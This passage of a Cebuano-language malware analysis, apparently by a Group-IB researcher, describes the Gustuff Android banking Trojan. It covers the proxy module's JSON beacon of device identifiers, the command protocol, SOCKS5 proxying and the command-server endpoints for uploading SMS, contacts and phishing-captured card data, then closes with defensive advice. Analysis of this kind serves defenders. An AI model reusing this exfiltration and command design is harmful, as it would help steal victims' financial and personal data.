Ang command processing class gitawag Koneksiyon sa Command. Diha-diha dayon human sa pagsugod, pagbuhat sa mosunod nga mga aksyon:

4. Nagdugtong sa ProxyConfigClass.host: ProxyConfigClass.commandPort ug nagpadalag datos bahin sa nataptan nga device didto sa JSON format:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Asa:

  • id – identifier, naningkamot nga makakuha og value gamit ang “id” field gikan sa Shared Preference file nga ginganlan og “x”. Kung kini nga kantidad dili makuha, makamugna kini usa ka bag-o. Sa ingon, ang module sa Proxy adunay kaugalingon nga identifier, nga gihimo parehas sa Bot ID.
  • imei — IMEI sa device. Kung adunay usa ka sayup nga nahitabo sa panahon sa proseso sa pagkuha sa kantidad, usa ka sayup nga mensahe sa text ang isulat imbis sa kini nga uma.
  • imsi — International Mobile Subscriber Identity sa device. Kung adunay usa ka sayup nga nahitabo sa panahon sa proseso sa pagkuha sa kantidad, usa ka sayup nga mensahe sa text ang isulat imbis sa kini nga uma.
  • modelo — Ang end-user-visible nga ngalan para sa end product.
  • manufacturer — Ang tiggama sa produkto/hardware (Build.MANUFACTURER).
  • androidVersion - usa ka string sa pormat nga "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • nasud — kasamtangan nga lokasyon sa device.
  • Ang partnerId usa ka walay sulod nga pisi.
  • packageName - ngalan sa package.
  • networkType — tipo sa kasamtangang koneksyon sa network (pananglitan: “WIFI”, “MOBILE”). Sa kaso sa sayop, mobalik null.
  • adunayGsmSupport - tinuod - kung ang telepono nagsuporta sa GSM, kung dili bakak.
  • simReady - kahimtang sa SIM card.
  • simCountry - ISO country code (base sa SIM card provider).
  • networkOperator — ngalan sa operator. Kung adunay usa ka sayup nga nahitabo sa panahon sa proseso sa pagkuha sa kantidad, usa ka sayup nga mensahe sa text ang isulat imbis sa kini nga uma.
  • simOperator - Ang Ngalan sa Taghatag sa Serbisyo (SPN). Kung adunay usa ka sayup nga nahitabo sa panahon sa proseso sa pagkuha sa kantidad, usa ka sayup nga mensahe sa text ang isulat imbis sa kini nga uma.
  • bersyon - kini nga uma gitipigan sa klase sa config; alang sa nasulayan nga mga bersyon sa bot kini katumbas sa "1.6".

5. Mobalhin sa mode sa paghulat sa mga sugo gikan sa server. Ang mga sugo gikan sa server anaa sa format:

  • 0 offset - sugo
  • 1 offset – sessionId
  • 2 offset – gitas-on
  • 4 offset - data

Kung moabut ang usa ka mando, ang aplikasyon mag-log:
mainLog("Header { sessionId<%id%>], type[<%command%>], gitas-on[<%length%>] }")

Ang mosunod nga mga sugo gikan sa server posible:

ngalan Command Data Description
koneksyonId 0 Koneksyon ID Paghimo og bag-ong koneksyon
TUMANON 3 Oras Ihunong ang Proxy module
PING_PONG 4 - Ipadala ang mensahe sa PONG

Ang mensahe sa PONG naglangkob sa 4 ka byte ug ingon niini: 0x04000000.

Sa diha nga ang connectionId nga sugo nadawat (aron makahimo og bag-ong koneksyon) Koneksiyon sa Command naghimo og usa ka pananglitan sa usa ka klase ProxyConnection.

  • Duha ka klase ang moapil sa proxying: ProxyConnection и katapusan. Sa paghimo sa usa ka klase ProxyConnection pagkonektar sa adres ProxyConfigClass.host: ProxyConfigClass.proxyPort ug pagpasa sa JSON nga butang:

 {
    "id":<%connectionId%>
}

Agig tubag, ang server nagpadala usa ka SOCKS5 nga mensahe nga adunay sulud nga adres sa hilit nga server diin kinahanglan matukod ang koneksyon. Ang interaksyon niini nga server mahitabo pinaagi sa klase katapusan. Ang pag-setup sa koneksyon mahimong i-schematically nga girepresentahan sama sa mosunod:

Giunsa ang pag-skim sa Android Trojan Gustuff sa cream (fiat ug crypto) gikan sa imong mga account

Mga interaksyon sa network

Aron mapugngan ang pagtuki sa trapiko pinaagi sa mga sniffer sa network, ang interaksyon tali sa CnC server ug sa aplikasyon mahimong mapanalipdan gamit ang SSL protocol. Ang tanan nga gipasa nga datos gikan sa ug sa server gipresentar sa JSON format. Ang aplikasyon nagpatuman sa mosunod nga mga hangyo sa panahon sa operasyon:

  • http://<%CnC%>/api/v1/set_state.php - ang resulta sa pagpatuman sa sugo.
  • http://<%CnC%>/api/v1/get.php — pagdawat ug sugo.
  • http://<%CnC%>/api/v1/load_sms.php - pag-download sa mga mensahe sa SMS gikan sa usa ka nataptan nga aparato.
  • http://<%CnC%>/api/v1/load_ab.php - Pag-upload sa usa ka lista sa mga kontak gikan sa usa ka nataptan nga aparato.
  • http://<%CnC%>/api/v1/aevents.php - ang hangyo gihimo kung nag-update sa mga parameter nga nahimutang sa gusto nga file.
  • http://<%CnC%>/api/v1/set_card.php — pag-upload sa datos nga nakuha gamit ang phishing window nga nagtakuban isip Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - pag-upload sa data sa log.
  • http://<%CnC%>/api/v1/records.php – pag-upload sa datos nga nakuha pinaagi sa phishing windows.
  • http://<%CnC%>/api/v1/set_error.php - pahibalo sa usa ka sayup nga nahitabo.

rekomendasyon

Aron mapanalipdan ang ilang mga kustomer gikan sa hulga sa mga mobile Trojans, ang mga kompanya kinahanglan mogamit mga komprehensibo nga solusyon nga nagtugot kanila sa pag-monitor ug pagpugong sa makadaot nga kalihokan nga wala mag-install og dugang nga software sa mga aparato sa gumagamit.

Aron mahimo kini, ang mga pamaagi sa pirma alang sa pag-ila sa mga mobile Trojan kinahanglan nga palig-onon sa mga teknolohiya alang sa pag-analisar sa pamatasan sa kliyente ug sa aplikasyon mismo. Ang proteksyon kinahanglan usab nga maglakip sa usa ka function sa pag-ila sa aparato gamit ang digital fingerprint nga teknolohiya, nga maghimo nga posible nga masabtan kung ang usa ka account gigamit gikan sa usa ka dili tipikal nga aparato ug nahulog na sa mga kamot sa usa ka mangingilad.

Ang usa ka sukaranan nga hinungdanon nga punto mao ang pagkaanaa sa pagtuki sa cross-channel, nga nagtugot sa mga kompanya nga makontrol ang mga peligro nga motumaw dili lamang sa Internet, kondili usab sa mobile channel, pananglitan, sa mga aplikasyon alang sa mobile banking, alang sa mga transaksyon sa mga cryptocurrencies ug bisan unsang uban pa kung diin. ang mga transaksyon mahimong ipahigayon.pinansyal nga transaksyon.

Mga lagda sa kaluwasan alang sa mga tiggamit:

  • ayaw i-install ang mga aplikasyon alang sa usa ka mobile device nga adunay Android OS gikan sa bisan unsang mga gigikanan gawas sa Google Play, hatagan espesyal nga pagtagad ang mga katungod nga gihangyo sa aplikasyon;
  • kanunay nga i-install ang mga update sa Android OS;
  • pagtagad sa mga extension sa na-download nga mga file;
  • ayaw bisitaha ang mga kadudahang kapanguhaan;
  • Ayaw pag-klik sa mga link nga nadawat sa mga mensahe sa SMS.

Gibituonan Semyon Rogacheva, junior nga espesyalista sa panukiduki sa malware sa Group-IB Computer Forensics Laboratory.

Source: www.habr.com

Idugang sa usa ka comment